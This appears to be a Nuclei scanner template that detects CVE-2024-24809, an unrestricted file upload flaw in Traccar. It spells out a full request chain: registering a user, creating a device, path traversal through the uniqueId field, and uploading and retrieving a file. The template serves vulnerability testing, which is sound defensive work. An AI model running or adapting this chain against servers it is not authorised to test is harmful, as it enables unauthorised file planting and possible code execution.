nuclei-templates/http/cves/2024/CVE-2024-24809.yaml

161 lines
4.5 KiB
YAML

id: CVE-2024-24809
info:
name: Traccar - Unrestricted File Upload
author: DhiyaneshDK
severity: high
description: |
Traccar is an open source GPS tracking system. Versions prior to 6.0 are vulnerable to path traversal and unrestricted upload of file with dangerous type. Since the system allows registration by default, attackers can acquire ordinary user permissions by registering an account and exploit this vulnerability to upload files with the prefix `device.` under any folder. Attackers can use this vulnerability for phishing, cross-site scripting attacks, and potentially execute arbitrary commands on the server. Version 6.0 contains a patch for the issue.
reference:
- https://github.com/traccar/traccar/commit/b099b298f90074c825ba68ce73532933c7b9d901
- https://github.com/traccar/traccar/security/advisories/GHSA-vhrw-72f6-gwp5
- https://nvd.nist.gov/vuln/detail/CVE-2024-24809
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L
cvss-score: 8.5
cve-id: CVE-2024-24809
cwe-id: CWE-27
epss-score: 0.00043
epss-percentile: 0.09551
metadata:
verified: true
max-request: 1
shodan-query: html:"Traccar"
tags: cve,cve2024,traccar,rce,intrusive,file-upload
variables:
name: "{{rand_base(6)}}"
password: "{{rand_base(8)}}"
email: "{{randstr}}@{{rand_base(5)}}.com"
unique: "{{rand_base(6)}}"
str: "{{randstr}}"
flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7)
http:
- raw:
- |
POST /api/users HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name": "{{name}}", "email": "{{email}}", "password": "{{password}}", "totpKey": null}
matchers:
- type: word
part: body
words:
- '"administrator":'
- '"fixedEmail"'
condition: and
internal: true
- raw:
- |
POST /api/session HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
email={{email}}&password={{password}}
matchers:
- type: word
part: body
words:
- '"deviceReadonly":'
- '"expirationTime":'
condition: and
internal: true
- raw:
- |
POST /api/devices HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name": "{{unique}}", "uniqueId": "{{unique}}"}
matchers:
- type: word
part: body
words:
- '"calendarId"'
- '"groupId":'
condition: and
internal: true
extractors:
- type: json
part: body
name: value
internal: true
json:
- '.id'
- raw:
- |
POST /api/devices/{{value}}/image HTTP/1.1
Host: {{Hostname}}
Content-Type: image/srHtgGrc
{{str}}
extractors:
- type: regex
part: body
name: filename
internal: true
regex:
- 'device\.([a-zA-Z]+)'
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(content_type, "application/json")
condition: and
internal: true
- raw:
- |
PUT /api/devices/{{value}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"id": {{value}}, "attributes": {"deviceImage": "device.png"}, "groupId": 0, "calendarId": 0, "name": "test", "uniqueId": "{{unique}}/../../../../../opt/traccar/modern", "status": "offline", "lastUpdate": null, "positionId": 0, "phone": null, "model": null, "contact": null, "category": null, "disabled": false, "expirationTime": null}
matchers:
- type: word
part: body
words:
- '"deviceImage":'
- '"expirationTime":'
condition: and
internal: true
- raw:
- |
POST /api/devices/{{value}}/image HTTP/1.1
Host: {{Hostname}}
Content-Type: image/srHtgGrc
{{str}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(content_type, "application/json")
condition: and
internal: true
- raw:
- |
GET /{{filename}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
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